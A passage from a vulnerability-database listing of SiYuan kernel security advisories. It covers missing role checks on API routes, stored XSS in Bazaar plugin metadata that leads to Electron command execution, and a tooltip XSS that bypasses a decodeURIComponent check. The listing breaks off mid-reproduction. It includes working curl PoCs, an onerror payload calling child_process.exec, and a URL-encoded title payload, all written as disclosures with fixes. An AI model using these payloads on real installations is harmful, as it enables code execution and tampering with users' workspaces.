Filter by signal
50 github.com/siyuan-note/siyuan/kernel CVEs, newest first
SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, POST /api/tag/getTag is registered with model.CheckAuth only, omitting both model.CheckAdminRole and model.CheckReadonly, despite the handler performing a configuration write that is normally guarded by both. Any authenticated user — including publish-service RoleReader accounts and RoleEditor accounts on a read-only workspace — can call this endpoint with a sort argument to mutate model.Conf.Tag.Sort and trigger model.Conf.Save(), which atomically rewrites the entire workspace conf.json. This vulnerability is fixed in 3.7.0.
Affected: from the first version, < 0.0.0-20260512140701-d7b77d945e0d
SiYuan has broken access control in `/api/search/{searchAsset,searchTag,searchWidget,searchTemplate}` publish-mode ### Summary The advisory `GHSA-c77m-r996-jr3q` patched `getBookmark` so that, when invoked by a publish-mode `RoleReader`, results are filtered through `FilterBlocksByPublishAccess` to remove entries from password-protected / publish-ignored notebooks. Four sibling search handlers in the same file did not receive the equivalent treatment and continue to expose metadata across the publish-access boundary. ### Details **Affected files / lines (v3.6.5):** `kernel/api/router.go:181-190` — all four endpoints registered with `CheckAuth` only, which the publish-service `RoleReader` JWT passes: ```go ginServer.Handle("POST", "/api/search/searchTag", model.CheckAuth, searchTag) ginServer.Handle("POST", "/api/search/searchTemplate", model.CheckAuth, searchTemplate) ginServer.Handle("POST", "/api/search/searchWidget", model.CheckAuth, searchWidget) ginServer.Handle("POST", "/api/search/searchAsset", model.CheckAuth, searchAsset) ``` `kernel/api/search.go` — none of the four handlers branches on `model.IsReadOnlyRoleContext(c)` to filter the response, while their *peers* in the same file do. Compare: ```go // :29-65 listInvalidBlockRefs — DOES filter: if model.IsReadOnlyRoleContext(c) { publishAccess := model.GetPublishAccess() blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks) } // :67-93 getAssetContent — DOES filter (FilterAssetContentByPublishAccess) // :95-115 fullTextSearchAssetContent — DOES filter // :250-285 getEmbedBlock — DOES filter (FilterEmbedBlocksByPublishAccess) // :156-176 searchAsset — does NOT filter ret.Data = model.SearchAssetsByName(k, exts) // :178-196 searchTag — does NOT filter tags := model.SearchTags(k) ret.Data = map[string]any{"tags": tags, "k": k} // :198-213 searchWidget — does NOT filter widgets := model.SearchWidget(keyword) // :233-248 searchTemplate — does NOT filter templates := model.SearchTemplate(keyword) ``` `model.SearchAssetsByName`, `model.SearchTags`, `model.SearchWidget`, `model.SearchTemplate` operate over the entire workspace database / filesystem, not just the publish-visible subset. A `FilterTagsByPublishIgnore` helper *already exists* in `kernel/model/` and is used by `getTag` itself (`kernel/api/tag.go:58-62`), confirming the maintainers' intent. ### PoC End-to-end reproduction requires enabling the SiYuan publish service, marking one notebook as private to publish access, and obtaining a `RoleReader` JWT from the publish reverse-proxy (per `kernel/server/proxy/publish.go`). Once authenticated as the Reader against the publish port: ```bash # Returns ALL tags across the workspace, including ones drawn only from the publish-private notebook. curl -X POST https://<publish-host>/api/search/searchTag \ -H 'Authorization: Bearer <reader-jwt>' \ -H 'Content-Type: application/json' \ -d '{"k":""}' # Returns ALL asset filenames (e.g., CV.pdf, contract.docx, salary-2026.xlsx) regardless of source notebook. curl -X POST https://<publish-host>/api/search/searchAsset \ -H 'Authorization: Bearer <reader-jwt>' \ -H 'Content-Type: application/json' \ -d '{"k":""}' curl -X POST https://<publish-host>/api/search/searchWidget -H '...' -d '{"k":""}' curl -X POST https://<publish-host>/api/search/searchTemplate -H '...' -d '{"k":""}' ``` Each call returns the global result set without applying `FilterTagsByPublishIgnore` / `FilterAssetContentByPublishAccess` / equivalent. In this audit I source-confirmed the missing branch in v3.6.5 but did not stand up the full publish-service flow. The fix is straightforward enough that the source-level evidence should be sufficient for triage. ### Impact A publish-service Reader (the role assigned to anonymous publish visitors by default) can enumerate: - All tag strings used anywhere in the workspace — frequently contains person names, project codenames, internal identifiers. - All asset filenames uploaded to the workspace — frequently contains the contents of `CV.pdf`, `contract.docx`, `salary-2026.xlsx`, etc. - All widget names and template names installed in the workspace. This violates the publish-service trust boundary. Users intentionally mark notebooks as "invisible to publish" specifically to keep this metadata out of public reach.
Affected: from the first version, < 0.0.0-20260512140701-d7b77d945e0d
SiYuan publish-mode Reader can mutate Conf and SQL index via 8 ungated APIs ### Summary SiYuan publish-mode Reader can mutate Conf and SQL index via 8 ungated APIs `POST /api/graph/getGraph`, `POST /api/graph/getLocalGraph`, `POST /api/sync/setSyncInterval`, `POST /api/storage/updateRecentDocViewTime`, `POST /api/storage/updateRecentDocCloseTime`, `POST /api/storage/updateRecentDocOpenTime`, `POST /api/storage/batchUpdateRecentDocCloseTime`, and `POST /api/search/updateEmbedBlock` are registered with `model.CheckAuth` only, omitting both `model.CheckAdminRole` and `model.CheckReadonly`. Each of them writes server-side state, including atomic rewrites of `<workspace>/conf/conf.json` via `model.Conf.Save()`. Any caller whose JWT passes `CheckAuth`, including a publish-service `RoleReader` (the role assigned to anonymous publish visitors) and a `RoleEditor` against a workspace where `Editor.ReadOnly = true`, can hit them. This is the same root-cause class as the patched `GHSA-6r88-8v7q-q4p2` and `GHSA-4j3x-hhg2-fm2x`. ### Details Affected: github.com/siyuan-note/siyuan, all tags up to and including v3.6.5 (HEAD `96dfe0be`). The router in `kernel/api/router.go` registers each endpoint below with `model.CheckAuth` only. Sibling endpoints in the same group are correctly gated, which makes the omission unambiguous: ```bash kernel/api/router.go:87 /api/storage/updateRecentDocViewTime CheckAuth only kernel/api/router.go:88 /api/storage/updateRecentDocCloseTime CheckAuth only kernel/api/router.go:89 /api/storage/batchUpdateRecentDocCloseTime CheckAuth only kernel/api/router.go:90 /api/storage/updateRecentDocOpenTime CheckAuth only kernel/api/router.go:188 /api/search/updateEmbedBlock CheckAuth only kernel/api/router.go:279 /api/sync/setSyncInterval CheckAuth only kernel/api/router.go:400 /api/graph/getGraph CheckAuth only kernel/api/router.go:401 /api/graph/getLocalGraph CheckAuth only # Compare the gated siblings on adjacent lines: kernel/api/router.go:278 /api/sync/setSyncEnable CheckAuth, CheckAdminRole, CheckReadonly kernel/api/router.go:280 /api/sync/setSyncPerception CheckAuth, CheckAdminRole, CheckReadonly kernel/api/router.go:281 /api/sync/setSyncGenerateConflictDoc CheckAuth, CheckAdminRole, CheckReadonly kernel/api/router.go:398 /api/graph/resetGraph CheckAuth, CheckAdminRole, CheckReadonly kernel/api/router.go:399 /api/graph/resetLocalGraph CheckAuth, CheckAdminRole, CheckReadonly ``` Per-handler evidence: `kernel/api/graph.go:53` `getGraph`. Despite the verb "get", the body unconditionally overwrites `model.Conf.Graph.Global` from caller-supplied JSON and persists the entire workspace `conf.json`: ``` graphConf, err := gulu.JSON.MarshalJSON(confArg) ... global := conf.NewGlobalGraph() gulu.JSON.UnmarshalJSON(graphConf, global) model.Conf.Graph.Global = global // attacker-controlled write model.Conf.Save() // atomic rewrite of conf.json ``` `kernel/api/graph.go:106` `getLocalGraph`. Same pattern on `model.Conf.Graph.Local`. Note the legitimate writers `resetGraph` (`graph.go:29`) and `resetLocalGraph` (`graph.go:41`) only set the struct to its constructor default (`NewGlobalGraph()` / `NewLocalGraph()`), whereas `getGraph` / `getLocalGraph` accept the entire struct from the caller, so the unauthorized surface is strictly larger than the gated reset endpoints. `kernel/api/sync.go:597` `setSyncInterval`. Calls `model.SetSyncInterval(int(interval))` (`kernel/model/sync.go:394`) which writes `Conf.Sync.Interval`, persists `Conf.Save()`, and reschedules the sync goroutine via `planSyncAfter`. The model layer clamps the interval to `[30, 43200]`, but a Reader can still pin sync to either bound (30 s for battery and bandwidth pressure on every connected client, or 12 h to effectively suspend cloud sync without changing the UI toggle). `kernel/api/search.go:287` `updateEmbedBlock`. Calls `model.UpdateEmbedBlock(id, content)` (`kernel/model/search.go:198`), which validates only that the block type is `BlockQueryEmbed` and then forwards to `updateEmbedBlockContent` (`kernel/model/index.go:342`). That helper rewrites the SQL `blocks` row's `content` column for the given embed-block ID via `sql.UpdateBlockContentQueue`. There is no publish-access check, so any embed block ID anywhere in the workspace is writable. The SQL `content` column is what `fullTextSearchBlock` and `getEmbedBlock` read from, so a Reader can poison search results visible to other users. `kernel/api/storage.go:251,295,273,317` `updateRecentDocViewTime` / `updateRecentDocCloseTime` / `updateRecentDocOpenTime` / `batchUpdateRecentDocCloseTime`. Each rewrites the workspace recent-docs JSON file under `recentDocLock` (`kernel/model/storage.go:171,213` ...). A Reader can register any `rootID` (including IDs in publish-private notebooks) into the recent-docs list, manipulating the admin's recently-opened-documents UI and history. The bugs have all existed since v3.6.5 (the active release tag) and the live `master` branch. Two adjacent advisories already patched the exact same shape: `GHSA-6r88-8v7q-q4p2` (`getTag` writing `Conf.Tag.Sort`) and `GHSA-4j3x-hhg2-fm2x` (`renderSprig` missing `CheckAdminRole + CheckReadonly`). Both are listed by the maintainers as occurrences "the same root-cause class" that has to be patched per-occurrence, so this report enumerates the remaining occurrences in one pass. ### PoC Source-level reproduction. The same Docker compose lab the maintainers used for `GHSA-6r88` works here: ```bash # 1. Authenticate as any role with CheckAuth (admin used here for convenience; # a publish-mode Reader JWT works equivalently). curl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \ -H 'Content-Type: application/json' -d '{"authCode":"audittest"}' >/dev/null # 2. Read current Conf.Sync.Interval and Conf.Graph.Global from /api/system/getConf. curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \ -H 'Content-Type: application/json' -d '{}' \ | python3 -c "import json,sys;c=json.load(sys.stdin)['data']['conf'];\ print('Conf.Sync.Interval BEFORE =',c['sync']['interval']);\ print('Conf.Graph.Global.minRefs BEFORE =',c['graph']['global']['minRefs'])" # 3. setSyncInterval as Reader. curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/sync/setSyncInterval \ -H 'Content-Type: application/json' -d '{"interval":30}' # 4. getGraph as Reader, supplying a custom graph config struct. curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/graph/getGraph \ -H 'Content-Type: application/json' \ -d '{"k":"","conf":{"minRefs":99,"maxBlocks":1,"d3":{"linkWidth":99}}}' # 5. Confirm in-memory and on-disk persistence. curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \ -H 'Content-Type: application/json' -d '{}' \ | python3 -c "import json,sys;c=json.load(sys.stdin)['data']['conf'];\ print('Conf.Sync.Interval AFTER =',c['sync']['interval']);\ print('Conf.Graph.Global.minRefs AFTER =',c['graph']['global']['minRefs'])" docker exec siyuan-audit grep -oE '\"interval\":[0-9]+' /siyuan/workspace/conf/conf.json docker exec siyuan-audit grep -oE '\"minRefs\":[0-9]+' /siyuan/workspace/conf/conf.json # 6. updateEmbedBlock - rewrite SQL content for any embed block ID. curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/search/updateEmbedBlock \ -H 'Content-Type: application/json' \ -d '{"id":"<embed-block-id>","content":"poisoned"}' ``` Source-level proof, no privileged token involved: ```bash $ grep -nE 'ginServer\.Handle.*(getGraph|getLocalGraph|setSyncInterval|updateEmbedBlock|updateRecentDoc|batchUpdateRecentDocCloseTime)' \ kernel/api/router.go \ | grep -vE 'CheckAdminRole|CheckReadonly' kernel/api/router.go:87: ... /api/storage/updateRecentDocViewTime", model.CheckAuth, ... kernel/api/router.go:88: ... /api/storage/updateRecentDocCloseTime", model.CheckAuth, ... kernel/api/router.go:89: ... /api/storage/batchUpdateRecentDocCloseTime", model.CheckAuth, ... kernel/api/router.go:90: ... /api/storage/updateRecentDocOpenTime", model.CheckAuth, ... kernel/api/router.go:188: ... /api/search/updateEmbedBlock", model.CheckAuth, ... kernel/api/router.go:279: ... /api/sync/setSyncInterval", model.CheckAuth, ... kernel/api/router.go:400: ... /api/graph/getGraph", model.CheckAuth, ... kernel/api/router.go:401: ... /api/graph/getLocalGraph", model.CheckAuth, ... ``` Standing up the publish-mode Reader path end-to-end was not done in this audit; the source-level diff against the gated siblings and the prior advisories' fix pattern are the same evidence the maintainers accepted for `GHSA-fmh9-gpqh-g53g` and `GHSA-6r88-8v7q-q4p2` published 2026-05-08. ### Impact A publish-mode Reader (default for any anonymous publish visitor) and a publish-mode Editor against a `Editor.ReadOnly = true` workspace can: 1. Atomically rewrite `<workspace>/conf/conf.json` via `Conf.Save()` from `setSyncInterval`, `getGraph`, `getLocalGraph`. `Conf.Save()` rewrites the entire file, so a Reader racing with a legitimate admin save can revert unrelated configuration changes the admin made in the same window. 2. Set the cloud sync interval to either bound of the `[30, 43200]` clamp. 30 s pins clients to the worst-case sync hammer, draining battery and bandwidth on every connected device. 43200 s effectively pauses cloud sync for the workspace without flipping the visible "Sync enabled" toggle, increasing the chance of data divergence between devices and decreasing the likelihood that a Reader-induced state corruption is caught quickly. 3. Overwrite `Conf.Graph.Global` and `Conf.Graph.Local` with a caller-controlled struct, breaking graph rendering for the admin (extreme `maxBlocks`, `minRefs`, `nodeSize`, etc.). The reset endpoints at the same path are gated behind admin role specifically because the maintainers considered graph configuration a privileged setting. 4. Poison the SQL `blocks.content` column for any embed-block ID via `updateEmbedBlock`. Search functions that read the SQL index (`fullTextSearchBlock`, `getEmbedBlock`) return the poisoned content to other users, so a Reader can plant content other users will see. 5. Manipulate the recent-documents list seen by the admin via the four `updateRecentDoc*` writers, including registering IDs from publish-private notebooks (information disclosure plus UI manipulation). The fix is a one-token edit per registration: add `model.CheckAdminRole` and `model.CheckReadonly` to each affected `ginServer.Handle` call, mirroring the gated siblings and the patches for `GHSA-6r88-8v7q-q4p2` and `GHSA-4j3x-hhg2-fm2x`.
Affected: from the first version, < 0.0.0-20260512140701-d7b77d945e0d
SiYuan Bazaar marketplace renders unescaped package `name` and `version` metadata, allowing stored XSS and Electron code execution ### Summary SiYuan's Bazaar (community marketplace) renders the `name` and `version` fields of a package's `plugin.json` (and the equivalent `theme.json` / `template.json` / `widget.json` / `icon.json`) into the Settings → Marketplace UI without HTML escaping. The kernel-side helper `sanitizePackageDisplayStrings` in `kernel/bazaar/package.go` HTML-escapes only `Author`, `DisplayName`, and `Description` — `Name` and `Version` flow through to the renderer raw. The frontend at `app/src/config/bazaar.ts` substitutes them into HTML template strings via `${item.preferredName}` / `${data.name}` / `v${data.version}` and assigns the result to `innerHTML`. As a consequence, malicious HTML in either field is parsed and executed when a user opens the marketplace tab. Because the desktop client is built on Electron with `nodeIntegration: true`, `contextIsolation: false`, and `webSecurity: false` (`app/electron/main.js:407-411`), the resulting cross-site scripting executes in a renderer with full access to Node.js APIs, escalating directly to arbitrary OS command execution under the victim's account. The trigger is **zero-click on the list view** — opening Settings → Marketplace → Downloaded → Plugins is sufficient; no Install/Update click is required. A second `preferredName` path exists: when `displayName: {}` (empty locale map), `GetPreferredLocaleString` falls back to the unescaped `pkg.Name`, so even a normal-looking visible plugin name carries the payload through the same sink. ### Details **Server-side allowlist — `kernel/bazaar/package.go:134-145`:** ```go func sanitizePackageDisplayStrings(pkg *Package) { if pkg == nil { return } pkg.Author = html.EscapeString(pkg.Author) for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) } for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) } // pkg.Name and pkg.Version are NOT escaped } ``` **`PreferredName` fallback — `kernel/bazaar/installed.go:59` and `kernel/bazaar/package.go:148-162`:** ```go // installed.go:59 pkg.PreferredName = GetPreferredLocaleString(pkg.DisplayName, pkg.Name) // package.go:148-162 func GetPreferredLocaleString(m LocaleStrings, fallback string) string { if len(m) == 0 { return fallback } // ← unescaped pkg.Name reaches the renderer if v := strings.TrimSpace(m[util.Lang]); v != "" { return v } if v := strings.TrimSpace(m["default"]); v != "" { return v } if v := strings.TrimSpace(m["en_US"]); v != "" { return v } return fallback } ``` **Online marketplace path skips the kernel sanitizer — `kernel/bazaar/package.go:127` + `kernel/bazaar/bazaar.go:48`:** ```go // package.go:127 (only the local install path calls sanitizePackageDisplayStrings) sanitizePackageDisplayStrings(ret) ``` `buildBazaarPackageWithMetadata` (`bazaar.go:48`), used to build the online marketplace listing, does **not** call the kernel's `sanitizePackageDisplayStrings`. Sanitization for the online stage is delegated to the `siyuan-note/bazaar` GitHub-Action workflow. **The upstream workflow has the same gap — `siyuan-note/bazaar/actions/stage/main.go:897-909`:** ```go // sanitizePackageDisplayStrings 对集市包直接显示的信息做 HTML 转义,避免 XSS。 // (跟思源内核 kernel/bazaar/package.go 保持一致) func sanitizePackageDisplayStrings(pkg *Package) { if pkg == nil { return } pkg.Author = html.EscapeString(pkg.Author) for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) } for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) } } ``` The function is byte-identical to the kernel helper — the Chinese comment translates to *"(kept in sync with the SiYuan kernel kernel/bazaar/package.go)"*. It is invoked at `main.go:707, 715, 723` once per package type during staging. `Name`, `Version`, and `Keywords` are unescaped at **both** layers: the kernel for local installs, the workflow for online listings. A malicious `plugin.json` submitted to the public bazaar therefore propagates the unsanitized fields to every SiYuan client that fetches the marketplace listing. **Frontend sinks — `app/src/config/bazaar.ts`:** ```ts // :430 — installed-plugin card list (zero-click) ${item.preferredName} // :526 — package detail view <a href="${data.repoURL}" ... title="GitHub Repo">${data.name}</a> // :540 — package detail view, version stripe <div ... style="line-height: 20px;">${window.siyuan.languages.currentVer}<br>v${data.version}</div> ``` The constructed template strings are subsequently assigned to `bazaar.element.innerHTML` / `readmeElement.innerHTML` / `mdElement.innerHTML` (lines 358, 472, 512, 600). **Renderer privilege boundary — `app/electron/main.js:407-411`:** ```js webPreferences: { nodeIntegration: true, webviewTag: true, webSecurity: false, contextIsolation: false, } ``` JavaScript executing in the marketplace tab can call `require('child_process').exec(...)` directly, escalating DOM XSS to OS command execution. ### PoC End-to-end verified against the official `b3log/siyuan:v3.6.5` Docker image. The browser leg uses Brave; the alert below is the safe-mode equivalent of the Electron `child_process.exec` payload. **1. Run a stock SiYuan v3.6.5 kernel:** ```sh mkdir -p /tmp/siyuan-poc-ws/data/plugins/evil-plugin docker run -d --name siyuan-poc -p 16806:6806 \ -v /tmp/siyuan-poc-ws:/siyuan/workspace \ -e SIYUAN_ACCESS_AUTH_CODE=test123 \ b3log/siyuan:v3.6.5 \ --workspace=/siyuan/workspace --accessAuthCode=test123 ``` **2. Plant a malicious plugin manifest at `/tmp/siyuan-poc-ws/data/plugins/evil-plugin/plugin.json`:** ```json { "name": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">", "displayName": {}, "description": {"default": "A small toolkit of markdown helpers - table sort, link checker, wordcount, etc."}, "author": "markdown-utils", "version": "1.4.2", "url": "https://github.com/markdown-utils/markdown-utilities", "backends": ["all"], "frontends": ["all"] } ``` The visible portion of the `name` field is the literal string `Markdown Utilities`. The `<img>` tag is rendered with `display:none`, so the marketplace card looks like a legitimate plugin entry — no broken-image icon, no suspicious text. **3. Verify the kernel returns the unescaped payload:** Authenticate via `http://127.0.0.1:16806/` (auth code `test123`), then call the API as the logged-in user: ```sh curl -s -b 'siyuan=<session-cookie>' \ -X POST http://127.0.0.1:16806/api/bazaar/getInstalledPlugin \ -H 'Content-Type: application/json' \ -d '{"frontend":"desktop","keyword":""}' ``` Observed (verbatim): ```json { "preferredName": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">", "name": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">", "version": "1.4.2" } ``` The HTML payload arrives at the client unmodified. **4. Trigger via the UI:** In a browser logged into the running SiYuan instance, open Settings → Marketplace → Downloaded → Plugins. The marketplace card list renders, `bazaar.ts:430` substitutes `${item.preferredName}` into the card HTML, the result is assigned to `bazaar.element.innerHTML`, the browser parses the `<img>` element, fails to load `src=x`, fires `onerror`, and **`alert("SiYuan Bazaar XSS")` pops**. The card itself displays as a normal-looking "Markdown Utilities" entry; the malicious markup is invisible. **5. Electron RCE substitution:** The same payload, modified for the Electron desktop client, replaces the alert with a Node-API call: ```json "name": "Markdown Utilities<img src=x onerror=\"require(`child_process`).exec(`open -a Calculator`)\" style=\"display:none\">" ``` On any Electron-packaged SiYuan v3.6.5 (e.g. `siyuan-3.6.5-mac-arm64.dmg`), opening Settings → Marketplace → Downloaded → Plugins launches Calculator. The same primitive can run any shell command available to the desktop user. ### Impact - **Stored XSS → arbitrary OS command execution** in the desktop Electron client under the victim's user account, with full filesystem and network access via Node.js APIs. - **Triggers on view, not on install.** Opening Settings → Marketplace → Downloaded → Plugins is sufficient; the payload runs before any "Install" or "Update" button is clicked. - **Visually undetectable.** The `display:none` style hides the malicious markup, so the marketplace card appears entirely legitimate. - **Survives transport.** The payload is a plain JSON string; it round-trips through tarball packaging, sync replication, `.sy.zip` export/import, and any other workspace-content transport without modification. - **Low attacker prerequisites.** Any path that gets a manifest into the workspace plugin directory triggers the bug. The Bazaar marketplace itself — both the install flow and the post-listing release-then-poison flow — is the canonical low-friction delivery channel. ### Suggested fix Primary: extend the kernel allowlist in `kernel/bazaar/package.go:134-145`: ```diff func sanitizePackageDisplayStrings(pkg *Package) { if pkg == nil { return } pkg.Author = html.EscapeString(pkg.Author) + pkg.Name = html.EscapeString(pkg.Name) + pkg.Version = html.EscapeString(pkg.Version) for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) } for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) } + for i, kw := range pkg.Keywords { pkg.Keywords[i] = html.EscapeString(kw) } } ``` Secondary: also call `sanitizePackageDisplayStrings` from `kernel/bazaar/bazaar.go:48` (`buildBazaarPackageWithMetadata`) so that the kernel applies the same protection regardless of whether metadata originates from a local install or the online stage. The same two-line addition is needed in the upstream workflow at `siyuan-note/bazaar/actions/stage/main.go:897-909` (already explicitly committed to "kept in sync with the SiYuan kernel kernel/bazaar/package.go"). Tertiary (defense in depth): wrap the frontend sinks in `app/src/config/bazaar.ts` (`${item.preferredName}`, `${data.name}`, `${data.version}`) with the existing `escapeHtml(...)` helper. Renderer hardening: switching the main BrowserWindow at `app/electron/main.js:407-411` to `contextIsolation: true` with a preload bridge would bound any future XSS in the renderer to DOM impact instead of OS command execution.
Affected: from the first version, ≤ 0.0.0-20260421031503-96dfe0bea474
SiYuan: Electron Renderer RCE via decodeURIComponent-driven tooltip XSS in aria-label sink (incomplete fix for CVE-2026-34585) ## Summary The tooltip mouseover handler in `app/src/block/popover.ts` reads `aria-label` via `getAttribute` and passes it through `decodeURIComponent` before assigning to `messageElement.innerHTML` in `app/src/dialog/tooltip.ts:41`. The encoder used at the producer side, `escapeAriaLabel` in `app/src/util/escape.ts:19-25`, only handles HTML special characters (`"`, `'`, `<`, literal `<`) — it leaves `%XX` URL-escapes untouched. So a doc title containing `%3Cimg src=x onerror=...%3E` round-trips through `escapeAriaLabel` and the HTML attribute layer unmodified. Then `decodeURIComponent` on the consumer side converts `%3C` to a literal `<` character (a real `<`, NOT a character reference). When that string is assigned to `innerHTML`, the HTML5 tokenizer enters TagOpenState on the literal `<`, parses the `<img>` element, and the `onerror` handler fires. Because the renderer runs with `nodeIntegration: true, contextIsolation: false, webSecurity: false` (`app/electron/main.js:407-411`), `require('child_process')` is reachable from the injected handler, escalating to arbitrary code execution. Doc titles, AV column names + descriptions, AV select options, file-tree tooltips all reach this sink because they're rendered into `class="ariaLabel"` elements with `aria-label="${escapeAriaLabel(...)}"`. Doc title is the easiest plant — any user with create/rename access lands the payload, and the file survives `.sy.zip` round-trip without modification. ## Why a "double HTML-decode" framing is wrong A naïve reading of the chain might suggest that `&lt;` (the encoder output) decodes once at attribute-parse time to `<`, then a second time at `innerHTML` time to `<` — yielding a tag. **That's incorrect** and confirmed false by direct browser testing. Per the HTML5 spec, character references in DataState produce CHARACTER tokens (text), not TagOpenState transitions: the `<` resulting from a `<` reference is text data, never a tag-open delimiter. So the HTML-entity-only payload renders as visible literal text, not as a tag. The actual bypass relies on `decodeURIComponent` producing a **literal** `<` (not a character reference) before `innerHTML` parses it. Literal `<` characters in the input stream DO trigger TagOpenState. URL encoding is the right vehicle because the encoder ignores `%XX` while the consumer chain decodes it. ## Details **Encoder.** `app/src/util/escape.ts:19-25`: ```ts export const escapeAriaLabel = (html: string) => { if (!html) { return html; } return html.replace(/"/g, """).replace(/'/g, "'") .replace(/</g, "&lt;").replace(/</g, "&lt;"); }; ``` The four replacements only cover HTML special chars. `%XX` URL escapes are not touched. **Source — search-result rendering.** `app/src/search/util.ts:1406`: ```ts <span class="b3-list-item__text ariaLabel" ... aria-label="${escapeAriaLabel(title)}">${escapeGreat(title)}</span> ``` Same pattern at `:1448`, `protyle/render/av/blockAttr.ts:205`, `protyle/render/av/col.ts:134`, `protyle/render/av/select.ts:36`, `search/unRef.ts:113`. The `title` is built from `getNotebookName(item.box) + getDisplayName(item.hPath, false)` (line 1398). The `hPath` returned by `/api/search/fullTextSearchBlock` carries the user-set doc title verbatim — `%XX` URL-escapes pass through, only HTML special chars are entity-encoded by the kernel. **Consumer.** `app/src/block/popover.ts:33,144`: ```ts let tip = aElement.getAttribute("aria-label") || ""; // literal stored attribute value // ... branch logic that doesn't apply to plain search results ... showTooltip(decodeURIComponent(tip), aElement, ...); // ← decodes %XX into raw chars ``` `decodeURIComponent` is presumably present to handle URL-encoded asset paths in some hyperlink tooltips, but it's applied unconditionally to every aria-label-sourced tip — that's what enables this bypass. **Sink.** `app/src/dialog/tooltip.ts:41`: ```ts messageElement.innerHTML = message; // ← HTML parser sees the now-decoded raw `<` and starts parsing tags ``` **Decode-chain trace** for in-memory title `%3Cimg src=x onerror="alert('SiYuan')"%3E` (URL-encoded `<` `>` `'`, literal `"`): | step | result | |------|--------| | in-memory title | `%3Cimg src=x onerror="alert('SiYuan')"%3E` | | `escapeAriaLabel` writes (only `"` and `'` get encoded — neither appears here as raw chars when `'` is `%27`) | `%3Cimg src=x onerror="alert(%27SiYuan%27)"%3E` | | HTML attribute set: `aria-label="..."` ; browser one-decodes named entities when storing | in-DOM value = `%3Cimg src=x onerror="alert(%27SiYuan%27)"%3E` | | `getAttribute("aria-label")` | `%3Cimg src=x onerror="alert(%27SiYuan%27)"%3E` (verbatim) | | `decodeURIComponent(tip)` | **`<img src=x onerror="alert('SiYuan')">`** (real `<` `'` `>` chars) | | `messageElement.innerHTML = …` | HTML parser tokenizes raw `<img>`, creates element, fails to load `src=x`, fires `onerror` → JS runs | **Renderer + reachability.** Renderer posture and auto-admin gates same as the AV-name advisory (Advisory 1): `nodeIntegration:true, contextIsolation:false, webSecurity:false` at `app/electron/main.js:407-411`; empty-`AccessAuthCode` local auto-admin at `kernel/model/session.go:261-287`; `chrome-extension://` Origin allowlist at `session.go:277`. ## Suggested fix 1. **Primary — `app/src/dialog/tooltip.ts:41`**: replace ```ts messageElement.innerHTML = message; ``` with ```ts messageElement.textContent = message; ``` For tooltips that legitimately need markup (memo rendering, hyperlink preview cards), introduce an explicit `{html: true}` flag on `showTooltip(...)` and route the message through `DOMPurify.sanitize(message)` before assigning to `innerHTML`. 2. **Drop `decodeURIComponent` at `popover.ts:144`** for the generic aria-label path. Apply it only on the few callers that intentionally pass URL-encoded asset paths (e.g. the local-asset hyperlink preview branch already inside the function), and apply it inside `try`/`catch` with a clear scope. Aria-label content is not URL-encoded by design; decoding it is a footgun that converts otherwise-safe attributes into pre-parsed HTML. 3. **Consolidate the four escape helpers** in `app/src/util/escape.ts` (`escapeHtml`, `escapeAttr`, `escapeAriaLabel`, `escapeGreat`) into one `Lute.EscapeHTMLStr`-equivalent that escapes `&`, `<`, `>`, `"`, `'`. Context-specific encoders without compile-time enforcement keep producing bug-class variants. 4. **(Defense-in-depth)** Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge — caps every future renderer XSS at "DOM only," not RCE. --- ## Reproduction (copy-paste-ready) Tested on Windows with SiYuan v3.6.5 (kernel + Electron) and Microsoft Edge as the offline parser-validation engine. Linux/macOS users substitute `py` with `python3` and use any modern Chromium-based browser (Edge/Chrome/Brave) for the standalone validation step. ### Prereqs 1. **Install SiYuan v3.6.5** from https://github.com/siyuan-note/siyuan/releases and launch once. **Do not set an `AccessAuthCode`** (default). 2. Verify the kernel is up: ```sh curl -s http://127.0.0.1:6806/api/system/version # → {"code":0,"msg":"","data":"3.6.5"} ``` 3. Create at least one notebook (the file tree's "+" button) so `lsNotebooks` returns a usable id. Pin variables: ```sh API=http://127.0.0.1:6806 NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \ -H 'Content-Type: application/json' -d '{}' \ | python -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])') echo "Using notebook: $NOTEBOOK_ID" ``` ### Step A — Browser-only validation of the chain (no SiYuan needed) This proves the bug class on its own. Save as `decode-chain.html`, open in any Chromium-based browser: ```html <!doctype html> <html><body> <h2 id="status">Click "Simulate" — if status turns red, the chain works.</h2> <span id="src" class="ariaLabel" aria-label="%3Cimg src=x onerror="document.getElementById('status').innerText='RESULT: payload fired — chain works'; document.getElementById('status').style.color='red';"%3E" hidden></span> <button onclick=" let tip = document.getElementById('src').getAttribute('aria-label'); console.log('after getAttribute:', JSON.stringify(tip)); try { tip = decodeURIComponent(tip); } catch(e){} console.log('after decodeURIComponent:', JSON.stringify(tip)); document.getElementById('out').innerHTML = tip; ">Simulate SiYuan tooltip</button> <div id="out" style="border:2px solid red; padding:1em; min-height:3em; margin-top:1em;"></div> </body></html> ``` Click the button. The `<h2 id="status">` flips to red with "RESULT: payload fired — chain works", and the `<div id="out">` contains a fully-rendered `<img>` element (not text). Confirms the chain decodes URL-escapes between `getAttribute` and `innerHTML`, producing real tag-open characters. ### Step B — Plant the payload in SiYuan ```sh DOC_ID=$(curl -s -X POST 